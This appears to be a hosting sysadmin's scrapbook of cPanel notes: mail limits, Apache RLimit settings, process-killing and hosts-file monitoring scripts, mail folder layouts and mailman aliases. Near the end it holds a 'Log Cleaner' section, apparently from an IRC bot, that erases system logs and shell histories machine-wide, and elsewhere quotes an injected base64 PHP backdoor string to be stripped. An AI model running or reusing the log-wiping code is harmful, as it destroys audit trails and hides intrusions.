drwx------ 2 aeuropa aeuropa 4096 Jun 10 23:31 ./
drwx--x--x 36 aeuropa aeuropa 4096 Aug 9 18:05 ../
-rw-r--r-- 1 aeuropa aeuropa 175 Jun 10 14:30 europa\@aeuropa.eu
-rw-r--r-- 1 aeuropa aeuropa 15 Jun 10 14:30 europa\@aeuropa.eu.conf
-rw-r--r-- 1 aeuropa aeuropa 2223 Aug 16 15:52 info_log
*********************************************************************************************************************
Email per hour per domain - Need Help
http://forums.cpanel.net/f5/email-per-hour-per-domain-need-help-136945.html
http://forums.cpanel.net/f145/mail-sending-limits-per-e-mail-account-rather-than-per-domain-150441.html
/var/cpanel/users/username
MAX_EMAIL_PER_HOUR=100
MTIME=1312731650
Good:
http://forums.cpanel.net/f43/11-28-max-emails-per-domain-changed-drastically-173212.html
http://forums.cpanel.net/new-user-questions/199891-max-emails-limit-per-domain-per-cpanel-account-post957141.html
MAX_EMAIL_PER_HOUR=100
MAX_EMAIL_PER_HOUR-stanfordrafflesrealty.com=100
/scripts/updateuserdomains
/scripts/update_email_limits ( /scripts/update_email_limits [user]) or /usr/local/cpanel/scripts/updateuserdomains [username]
grep maxemailsperhour /var/cpanel/cpanel.config
Ex:
root@alpha [/home/businett]# /scripts/update_email_limits businett
Set limit for businett2000.com to 50/hour
*********************************************************************************************************************
Custom php.ini not working on SuExec Enabled Server
http://www.eukhost.com/forums/f38/custom-php-ini-not-working-suexec-enabled-server-10966/
how calculation RLimitCPU RLimitNPROC RLimitMEM ?
http://www.webhostingtalk.com/showthread.php?t=964691
http://linux.die.net/man/2/setrlimit
RLimitCPU -- CPU time limit in seconds. When the process reaches the limit, it is sent a KILL signal
RLimitNPROC -- The maximum number of threads that can be created for the real user ID of the calling process. Upon encountering this limit, fork() fails with the error EAGAIN.
RLimitMEM -- sets the same limit for RLIMIT_DATA (The maximum size of the process's data segment (initialized data, uninitialized data, and heap),
If you have a cpanel server, run the following script.
Code:
/scripts/apachelimits
root@virgo [~]# /scripts/apachelimits
Apache Limiter by cPanel, Inc. <copyright@cpanel.net>
Checking for BSD Accounting ....
Calculating Memory Limit .......3367792..1683896..2104504..2385397..1221322752..
..407107584..
Largest Webserver child cgi/ssi/php is now limited to 388 meg
root@vps [/home]# /scripts/apachelimits
Apache Limiter by cPanel, Inc. <copyright@cpanel.net>
Checking for BSD Accounting ....
Calculating Memory Limit .......1048576..524288..0..524288..268435456..
..89478485..
info [apache_conf_distiller] Missing IP for domain template.hdvps.com, using 67.23.247.203
info [apache_conf_distiller] Missing port for domain template.hdvps.com, using 80
info [apache_conf_distiller] Missing user for domain template.hdvps.com, using nobody
info [apache_conf_distiller] Missing group for domain template.hdvps.com, using nobody
info [apache_conf_distiller] Missing ServerName for domain template.hdvps.com, using template.hdvps.com
Distilled successfully
Largest Webserver child cgi/ssi/php is now limited to 85 meg
root@vps [/home]#
RLimitMEM 225458048
RLimitCPU 20 60
RLimitNPROC 50 50
RLimitMEM 325458048
RLimitCPU 20 60
RLimitNPROC 50 50
RLimitMEM 225458048
RLimitCPU 10 30
RLimitNPROC 20 20
RLimitMEM 225458048
RLimitCPU 10 10
RLimitNPROC 10 10
root@veebo [/etc/httpd/conf]# cat userdata/std/2/kanayaoz/kanayaozora.com/rlimit.conf
RLimitMEM 125829120 146800640
Diff between the files
43c43
< RLimitMEM 465030826
---
> #RLimitMEM 465030826
47c47
< #RLimitMEM 255500900
---
> RLimitMEM 255500800
88994a88995,89033
> ServerName support.tiptonnetworking.com
> ServerAlias www.support.tiptonnetworking.com
> DocumentRoot /home/tiptonne/public_html/support
> ServerAdmin webmaster@support.tiptonnetworking.com
> UseCanonicalName On
> CustomLog /usr/local/apache/domlogs/support.tiptonnetworking.com combined
> CustomLog /usr/local/apache/domlogs/support.tiptonnetworking.com-bytes_log "%{%s}t %I .\n%{%s}t %O ."
> ## User tiptonne # Needed for Cpanel::ApacheConf
> UserDir disabled
> UserDir enabled tiptonne
> <IfModule mod_suphp.c>
> suPHP_UserGroup tiptonne tiptonne
> </IfModule>
> <IfModule concurrent_php.c>
> php4_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> php5_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule !concurrent_php.c>
> <IfModule mod_php4.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> <IfModule mod_php5.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule sapi_apache2.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> </IfModule>
> <IfModule !mod_disable_suexec.c>
> SuexecUserGroup tiptonne tiptonne
> </IfModule>
> ScriptAlias /cgi-bin/ /home/tiptonne/public_html/support/cgi-bin/
>
>
> # To customize this VirtualHost use an include file at the following location
> # Include "/usr/local/apache/conf/userdata/std/2/tiptonne/support.tiptonnetworking.com/*.conf"
>
> </VirtualHost>
> <VirtualHost 173.236.99.82:80>
89352a89392,89430
> ServerName projects.tiptonnetworking.com
> ServerAlias www.projects.tiptonnetworking.com
> DocumentRoot /home/tiptonne/public_html/projects
> ServerAdmin webmaster@projects.tiptonnetworking.com
> UseCanonicalName On
> CustomLog /usr/local/apache/domlogs/projects.tiptonnetworking.com combined
> CustomLog /usr/local/apache/domlogs/projects.tiptonnetworking.com-bytes_log "%{%s}t %I .\n%{%s}t %O ."
> ## User tiptonne # Needed for Cpanel::ApacheConf
> UserDir disabled
> UserDir enabled tiptonne
> <IfModule mod_suphp.c>
> suPHP_UserGroup tiptonne tiptonne
> </IfModule>
> <IfModule concurrent_php.c>
> php4_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> php5_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule !concurrent_php.c>
> <IfModule mod_php4.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> <IfModule mod_php5.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule sapi_apache2.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> </IfModule>
> <IfModule !mod_disable_suexec.c>
> SuexecUserGroup tiptonne tiptonne
> </IfModule>
> ScriptAlias /cgi-bin/ /home/tiptonne/public_html/projects/cgi-bin/
>
>
> # To customize this VirtualHost use an include file at the following location
> # Include "/usr/local/apache/conf/userdata/std/2/tiptonne/projects.tiptonnetworking.com/*.conf"
>
> </VirtualHost>
> <VirtualHost 173.236.99.82:80>
[18-Aug-2011 11:23:06] PHP Fatal error: Out of memory (allocated 25427968)
(tried to allocate 30720 bytes) in
/home/ballarat/public_html/whatson/wp-admin/includes/update.php on line 203
root@focus
cd /home/ballarat/public_html/whatson
# cat .htaccess
RLimitCPU 60 60
RLimitMEM 295500800
RLimitNPROC 25 25
cd /home/ballarat/public_html/whatson
# cat php.ini
memory_limit = 64M
*********************************************************************************************************************
How to reset one account bandwidth
http://forums.cpanel.net/f5/how-reset-one-account-bandwidth-17165.html
You could also delete the accounts files under /var/cpanel/bandwidth/
to reset single account bandwidth to return to 0 during the month
1- ssh to your server
2- cd /var/cpanel/bandwidth.cache/
3- vi domainname.com
4- delete the numbers in that file and retype 0 instead of the number
5- save and quit and show bandwidth usage in WHM you will find its 0
*********************************************************************************************************************
How to remove all Posts from WordPress safely
If you want to remove all the posts from a wordpress then you can do it in few simple steps.
first take the backup of the database
root@server[#] mysqldump –opt DB_dbname > DB_dbname.sql
then
root@server[#] mysql
use DB_dbname ;
show tables;
select the table wp_posts
TRUNCATE TABLE wp_posts;
quit
*********************************************************************************************************************
http://www.cyberciti.biz/faq/shell-how-to-determine-the-exit-status-of-linux-and-unix-command/
http://bash.cyberciti.biz/guide/The_exit_status_of_a_command
pidof crond > /dev/null ; echo $?
0 "means running"
1 "not running"
root@veebo [/tmp]# cat /home/whwteam/toruncron
#!/bin/bash
status=pidof crond > /dev/null ; echo $?
if test $status -eq 0
then
echo "Already Running"
else
/etc/init.d/crond start
fi
sh /home/whwteam/toruncron 2> /dev/null
root@server[#] vi hackreplace.sh
hacked='eval(base64_decode("DQplcnJvcl9oKTsNCn0KfQp9DQp9DQp9"));'
find -name \*.php | xargs replace $hacked "" --
#sh hackreplace.sh
echo "ps auxf | sort -k1 | egrep -v -E 'root|nobody|whwteam'" > /bin/myps ; chmod -v 700 /bin/myps ;
echo "hload 200 | sort -k 3" > /bin/mload ; chmod -v 700 /bin/mload ;
- - - - - - - - - - - - - - - - - -
ll /bin/mload ; ll /bin/myps
echo "hload 200 | sort -k 3" > /bin/mload ; chmod -v 700 /bin/mload
- - - - - - - - - - - - - - - - - -
echo 'grep -A 5 $1 /etc/httpd/conf/httpd.conf' > /bin/testpath ; chmod -v 700 /bin/testpath ;
- - - - - - - - - - - - - - - - - -
killwhom
echo 'ps auxf |grep $1|awk '\'{print '"kill -9 "' '$2'}''\' > /bin/killwhom ; chmod -v 700 /bin/killwhom ;
- - - - - - - - - - - - - - - - - -
Errror:
cp /bin/killwhom /bin/mykill -v
echo 'mykill python ; mykill cpaneld ; mykill webmaild ; mykill webalizer ; mykill eximwrap ; mykill backupadmin ; mykill eximwrap ; mykill logrunner ;mykill cpanellogd ; mykill update ; mykill crond ;mykill spamd ; mykill pkgacct ;' > /bin/mykill
Errror:
- - - - - - - - - - - - - - - - - -
root@real [/etc/valiases]# ll | head | awk '{print $3,$7,$9}'
ll | head | awk '{print $3,$7,$9}' | sort -k 2 -nr | grep -v root
- - - - - - - - - - - - - - - - - -
vi /root/.bashrc
alias ll="ls -alh"
cd /tmp
- - - - - - - - - - - - - - - - - -
cat /bin/check
netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1
cat /bin/http
lynx http://127.0.0.1/whm-server-status
===================================================================================================================
===================================================================================================================
root@trinity [/tmp]# cat /usr/local/ddos/load_balance/loadbalancer
#!/bin/bash
# Configuration that you can customize
# Set total Server load limit below
LOADLIMIT=1
# Set CPU Usage per process limit below
CPULIMIT=3
# Set Memory Usage per process limit below
MEMLIMIT=3
#Do not edit anything from HERE
#===============================================
#taking list of username of users of cpanel accounts on the server to file USERLIST
ls -1 /var/cpanel/users > /usr/local/ddos/load_balance/USERLIST
# Taking Server load below
LOADAVG=$(uptime | awk '{print $10}')
# Converting the decimal value of load to integer below
LOAD=$(echo $LOADAVG|awk -F \. '{print $1}')
if [ $LOAD -gt $LOADLIMIT ]
then
#Taking output of Top command in file called as TOPOUT
top -bn 1 |head -17 > /usr/local/ddos/load_balance/TOPOUT
# A Small code below to remove first 7 unwanted lines from file TOPOUT and sent remaining out put to file OUTFILE
#===============================================
VAL=$(cat /usr/local/ddos/load_balance/TOPOUT |wc -l)
VAL1=$(($VAL - 7))
tail -$VAL1 /usr/local/ddos/load_balance/TOPOUT > /usr/local/ddos/load_balance/OUTFILE
#===============================================
# Now as we have first 10 process of top command, we will check CPU Usage of each process, if it is above the limit of Cpu usage set
# Then we will check if it is process of nobody or any cpanel user on server, if so then we will kill it
cat /usr/local/ddos/load_balance/OUTFILE|\
while read line
do
# Taking PID of the process below
PROCPID=$(echo $line|awk '{print $1}')
#Taking user running the process, below
PROCUSER=$(echo $line|awk '{print $2}')
#Taking CPU USAGE of the process
PROCCPU=$(echo $line|awk '{print $9}')
# Converting the decimal value of CPU load to integer below
PROCCPULOAD=$(echo $PROCCPU|awk -F \. '{print $1}')
#Below, Checking if cpu usage of that process is greater that the limit set by us
if [ $PROCCPULOAD -gt $CPULIMIT ]
then
# As the cpu usage is greater than the limit set by us we will move further checking the user of that process
# and taking actions as per the user. We will be killing the process only if the user is nobody or any cpanel account user
# Below we are checking if the process user is nobody
if [ $PROCUSER = "nobody" ]
then
kill -9 $PROCPID
exit 1
else
#Below we are checking if the user of the process is user of any cpanel account, if so we will kill him
cat /usr/local/ddos/load_balance/USERLIST |\
while read cpusername
do
if [ $PROCUSER = $cpusername ]
then
kill -9 $PROCPID
exit 1
fi
done
fi
fi
done
fi
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
===================================================================================================================
===================================================================================================================
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
root@solo [/tmp]# cat /usr/local/ddos/hostchecker
#########################################################
# #
# Script to Check Hosts.allow and hosts.deny #
# BY #
# APSC InfoTech & Software Solutions Pvt Ltd #
# #
# #
#########################################################
# This script will mail you if hosts.deny and hosts.allow are modified
# This script will check these files are modified or not every 5 mins
# If the files are modified it will mail you specifying so with content of the files
# Cron Details: */5 * * * * path to script
# Do not modifiy any code from here
# Taking Hosting Name
SERVER=$(/bin/hostname)
# Taking values of modification
ALLOW=$(/usr/bin/find /etc/ -mmin -5 -name hosts.allow|wc -l)
DENY=$(/usr/bin/find /etc/ -mmin -5 -name hosts.deny|wc -l)
# Checking if hosts.allow was modified or not
if [ $ALLOW -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.allow was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.allow is now:
$(/bin/cat /etc/hosts.allow)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.allow file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
if [ $DENY -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.deny was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.deny is now:
$(/bin/cat /etc/hosts.deny)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.deny file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
# THE END
# Copywrite (C) 2007 APSC InfoTech & Software Solutions Pvt Ltd.
# Report bugs to <anand@apsinfotech.com>
#----------------------------------------------------------------------------------------
# This script belongs to APSC InfoTech and Software Solutions Pvt Ltd.
# This script cannot be used or modified or distrubuted without permission of APSC InfoTech.
# For any of such things done will considered as violation of company rules
# and appropriate legal action will be take
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
===================================================================================================================
===================================================================================================================
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
*********************************************************************************************************************
Files and folders get created once a test email account setup
==>Mail folder
Folders:
./pgahost.com/test
./pgahost.com/test/.Trash
./pgahost.com/test/cur
./pgahost.com/test/new
./pgahost.com/test/tmp
./pgahost.com/test/.Sent
./pgahost.com/test/.Sent/cur
./pgahost.com/test/.Sent/tmp
Files
./pgahost.com/test/dovecot-uidvalidity.4e514042
./pgahost.com/test/.Trash/dovecot-uidlist
./pgahost.com/test/.Trash/dovecot.index.log
./pgahost.com/test/maildirsize
./pgahost.com/test/dovecot-uidvalidity
./pgahost.com/test/dovecot.index.cache
./pgahost.com/test/cur/1313947723.H501358P4171.real.superdnssite.com,S=889:2,
./pgahost.com/test/dovecot-uidlist
./pgahost.com/test/subscriptions
./pgahost.com/test/dovecot.index.log
./pgahost.com/test/.Sent/cur/1313947723.M546428P4174.real.superdnssite.com,S=551,W=568:2,S
./pgahost.com/test/.Sent/dovecot-uidlist
./pgahost.com/test/.Sent/dovecot.index.log
=> Etc folder
./pgahost.com/passwd,v
./pgahost.com/passwd
./pgahost.com/quota
./pgahost.com/quota,v
./pgahost.com/shadow,v
./pgahost.com/shadow
./ads-cuadrado.pgahost.com
./pgahost.com
./pgahost.com/info
./pgahost.com/passwd,v
./pgahost.com/passwd
./pgahost.com/quota
./pgahost.com/quota,v
./pgahost.com/shadow,v
./pgahost.com/shadow
./pgahost.com/@pwcache
*********************************************************************************************************************
Unable to load dynamic library /usr/local/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
/usr/local/lib/php/extensions/no-debug-non-zts-20090626/ixed.5.2.lin
extension_dir = "/usr/local/lib/php/extensions/no-debug-non-zts-20090626"
extension="suhosin.so"
zend_extension="/usr/local/ioncube/ioncube_loader_lin_5.3.so"
*********************************************************************************************************************
Cpanel services details
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/RestartServices
mail directory information.
Cache all email:
http://www.thecpaneladmin.com/tag/mail/
*********************************************************************************************************************
IP reputation Check
http://sendmail.com/sm/resources/tools/ip_reputation/
*********************************************************************************************************************
rsync -vrplogDtH public_html/ root@75.126.219.187:/home/blognews/public_html/
rsync -avz cpmove-"christt\|reports\|sports".tar.gz root@thracian.nocdirect.com:/home
*********************************************************************************************************************
http://awstats.sourceforge.net/docs/awstats_setup.html
http://awstats.sourceforge.net/docs/awstats_faq.html
http://awstats.sourceforge.net/docs/awstats_config.html
http://awstats.sourceforge.net/docs/awstats.pdf
*********************************************************************************************************************
Ip entry in http.conf file
1) NameVirtualHost 64.37.60.110:80
2) <VirtualHost 64.37.60.110:80>
ServerName adarac.co.il
ServerAlias www.adarac.co.il
DocumentRoot /home/adaracco/public_html
</VirtualHost >
3) <VirtualHost * 66.7.215.104:80 66.7.215.105:443 66.7.215.105:80>
*********************************************************************************************************************
Monotoring steps:
http://www.cyberciti.biz/faq/what-process-has-open-linux-port/
Imp commds:
http://cb.vu/unixtoolbox.xhtml
*********************************************************************************************************************
Deny Ip range through csf:
csf -d 220.255.2.0/24
How to block a range of IPs in APF/CSF
http://firelinux.wordpress.com/2009/08/15/how-to-block-a-range-of-ips-in-apfcsf/
****************************************************************************************************************
Very Important website: !!!!!
http://webhostingdevelopment.com/forum/index.php/category/attack/**************************************************************************************************************************
JFolder::create: Could not create directory
Warning! - Failed to move file.
php.ini
session.gc_maxlifetime =
session.gc_divisor =
safe_mode =Off
Check writeable permssion to all
chmod 777 cache/ -R
chmod 777 administrator/cache/ -R
*********************************************************************************************************************
/home/worldtra/public_html/wtmrealty/include/class/template/core.inc.php on line 1711
****************************************************************************************************************http://forums.cpanel.net/f5/user-deleted-most-dot-files-their-root-potential-problem-165858.html
.bash_logout
.bash_profile
.bashrc
.canna
.contactemail
.emacs
.ftpquota
.lastlogin
.zshrc
**************************************************************************************************************************
The CREATE TRIGGER function is provided by the SUPER privilege which I have configured as below:
mysql> show grants for 'amitabha_cms'@'localhost';
mysql> use amitabha_cms;
Database changed
mysql> CREATE TRIGGER mantraTrigger AFTER INSERT ON jos_chronoforms_data_mantrasubmission
-> for each row BEGIN
-> Declare mantra integer;
-> select count into mantra from mantra_recitation where id = 1 for update;
-> update mantra_recitation set count = mantra + New.mantraCount where id = 1;
-> END
-> |
************************************************ ************************************************************************************************
Plesk 10 commads
http://download1.parallels.com/Plesk/PP10/10.1.1/Doc/en-US/online/plesk-unix-cli/index.htm
*****************************************************************************************************************************19 ffmpeg commands for all needs
http://www.catswhocode.com/blog/19-ffmpeg-commands-for-all-needs
http://www.mygnulinux.com/?p=56
ffmpeg -formats
Convert mp4 to flv
ffmpeg -i origine84.mp4 -ab 56 -ar 44100 -b 200 -r 15 -s 320x240 -f flv finale84.flv
ffmpeg -i origine84.mp4 -f flv finale84.flv
*************************************************************************************************************
history of Terminate Account
Is there any log of termination account
/var/cpanel/accounting.log
grep USERNAME /usr/local/cpanel/logs/access_log | grep --color killacct
/root/.bash_history in case it was manually removed
*********************************************************************************************************************
Suspended Page
cat .htaccess
RedirectMatch .* /cgi-sys/suspendedpage.cgi
*****************************************************************************************************************************
templates]#
chmod 511 .
chattr +i .
public_html]#
chmod 710 .
*************************************************************************************************************
==>>how to take backup of single table of database through ssh
http://ultrabb.net/forum/forum5/201.html
mysqldump database_name specific_table_name -u database_user -ppassword >dump.sql
http://www.thegeekstuff.com/2008/09/backup-and-restore-mysql-database-using-mysqldump/
How to Monitor Linux Server
http://www.linuxgo.net/how-to-monitor-linux-server/
*********************************************************************************************************************
premature end of scripts header
The page is generating a "premature end of scripts header" error. This error can be caused by a variety of things. The most common issue is that the PHP file (and those included in the file) may be corrupted (sometimes non-printing characters or unexpected spaces or new lines get added to a script, making it not work properly.
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
JPA file extension
http://filext.com/file-extension/JPA
The JPA file type is primarily associated with 'JoomlaPack' by fronzenFX. JoomlaPack is an open-source component for the Joomla! CMS that allows for full site backups (files and database). The file is a ZIP file with a complete backup of a Joomla installation in it.
*********************************************************************************************************************
http://stackoverflow.com/questions/186737/whats-the-fastest-way-to-delete-a-large-folder-in-windows
del /f/s/q foldername is good too, but it leaves behind the directory structure.
del /f/s/q
Delete only file not directories verbosely
*********************************************************************************************************************
Spamhaus :
Spamhaus on Cpanel
http://forum.whmdestek.com/whm-cpanel/797-stop-spam-server-exim.html
*********************************************************************************************************************
mkdir -pv mail/.Sent/ mail/cur mail/new mail/tmp mail/.Trash mail/.Drafts mail/tmp ;
chmod -v 770 mail ;
chmod -v 700 cur new tmp .Trash .Drafts tmp .Sent
chmod -v 700 mail/cur mail/new mail/tmp mail/.Trash mail/.Drafts mail/tmp mail/.Sent/;
chown fazunet.fazunet -vR cur new tmp .Trash .Drafts tmp mail/cur mail/new mail/tmp mail/.Trash mail/.Drafts mail/tmp mail/.Sent/ ;
mkdir etc ; chmod 750 etc; chown username.mail etc ;
*********************************************************************************************************************
.htaccess
Options +FollowSymLinks
DirectoryIndex Index.html
Options +Indexes
AddType text/plain .php
AddHandler server-parsed .php
*********************************************************************************************************************
Linux : How to Resize images with the command line?
convert -resize 30% credit_card.jpg credit_card_small.jpg
convert -resize 300% credit_card.jpg credit_card_large.jpg
If Images not working on wprdpress:
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ - [F,NC]
http://www.besthostratings.com/articles/prevent-hot-linking.html
http://techgyo.com/index.php/disable-hotlinkingprevent-sites-stealing-bandwidth-htaccess-trick/
*********************************************************************************************************************
chmod 511 themes
*********************************************************************************************************************
Is there an option for the cp command to overwrite existing files in the destination directory?
put "\" before cp
i.e
$ \cp FileName newFileName
this will skip all interactive questions.
http://www.unix.com/unix-dummies-questions-answers/1267-cp-options.html
*********************************************************************************************************************
PHP Script to add a user to mailing list in cPanel?
http://stackoverflow.com/questions/589101/php-script-to-add-a-user-to-mailing-list-in-cpanel
shell_exec("echo user@example.com | /var/lib/mailman/bin/add_members -r - LISTNAME");
mailman path
Mailing list path in cpanel
http://webhostingdevelopment.com/forum/index.php/2010/07/mailing-list-path-in-cpanel/
Mailman lists can be found at :
cd /usr/local/cpanel/3rdparty/mailman/lists/
/usr/local/cpanel/3rdparty/mailman/bin –> Scripts Present here
*********************************************************************************************************************
How to check collation_database for a database from shell
USE your_database_of_interest;
show variables like "character_set_database";
show variables like "collation_database";
Default MySQL character set and collations
http://kb.mediatemple.net/questions/138/Default+MySQL+character+set+and+collation#gs
*********************************************************************************************************************
######################
# Log Cleaner #
######################
if ($funcarg =~ /^logcleaner/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | This process can be long, just wait");
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | All default log and bash_history files erased");
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | Now Erasing the rest of the machine log files");
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :^C12[^B^C4@^C3Log-Cleaner^B^C12] LogCleaner :. | Done! All logs erased");
}
######################
# End of Log Cleaner #
######################
*********************************************************************************************************************
Ftpaccount details
/etc/proftpd/username
*********************************************************************************************************************
History format
vi /root/.bashrc
export HISTTIMEFORMAT="[%h/%d/%Y - %H:%M:%S] "
exmaple:
967 [Jan/18/2012 - 01:28:26] ping zubarpilipovic.com
*********************************************************************************************************************
vi /usr/local/ddos/load_balance/loadbalancer
*********************************************************************************************************************
root@server1 [/tmp]# locale
LANG=en_US.UTF-8
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=
root@server1 [/tmp]# whatis locale
Locale::Constants (3) - constants for Locale codes
Locale::Constants (3pm) - constants for Locale codes
Locale::Country (3) - ISO codes for country identification (ISO 3166)
Locale::Country (3pm) - ISO codes for country identification (ISO 3166)
Locale::Currency (3) - ISO three letter codes for currency identification (ISO 4217)
Locale::Currency (3pm) - ISO three letter codes for currency identification (ISO 4217)
Locale::Language (3) - ISO two letter codes for language identification (ISO 639)
Locale::Language (3pm) - ISO two letter codes for language identification (ISO 639)
Locale::Maketext (3) - framework for localization
Locale::Maketext (3pm) - framework for localization
Locale::Maketext::Simple (3) - Simple interface to Locale::Maketext::Lexicon
Locale::Script (3) - ISO codes for script identification (ISO 15924)
Locale::Script (3pm) - ISO codes for script identification (ISO 15924)
locale (1) - Get locale - specific information
locale (1p) - get locale - specific information
locale (3) - Perl pragma to use and avoid POSIX locales for built-in operations
locale (3pm) - Perl pragma to use and avoid POSIX locales for built-in operations
locale (5) - Describes a locale definition file
locale (7) - Description of multi-language support
locale.h [locale] (0p) - category macros
*********************************************************************************************************************
root@prince [/home/wwwbitec]# cat /etc/valiases/bitec.edu.pe
coordinadores-admin@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman admin coordinadores_bitec.edu.pe"
coordinadores-bounces@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman bounces coordinadores_bitec.edu.pe"
coordinadores-confirm@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman confirm coordinadores_bitec.edu.pe"
coordinadores-join@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman join coordinadores_bitec.edu.pe"
coordinadores-leave@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman leave coordinadores_bitec.edu.pe"
coordinadores-owner@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman owner coordinadores_bitec.edu.pe"
coordinadores-request@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman request coordinadores_bitec.edu.pe"
coordinadores-subscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman subscribe coordinadores_bitec.edu.pe"
coordinadores-unsubscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman unsubscribe coordinadores_bitec.edu.pe"
coordinadores@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman post coordinadores_bitec.edu.pe"
docentes-admin@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman admin docentes_bitec.edu.pe"
docentes-bounces@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman bounces docentes_bitec.edu.pe"
docentes-confirm@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman confirm docentes_bitec.edu.pe"
docentes-join@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman join docentes_bitec.edu.pe"
docentes-leave@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman leave docentes_bitec.edu.pe"
docentes-owner@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman owner docentes_bitec.edu.pe"
docentes-request@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman request docentes_bitec.edu.pe"
docentes-subscribe@bitec.edu.pe: "|/usr/local/cpanel/3rdparty/mailman/mail/mailman subscribe docentes_bitec.edu.pe"
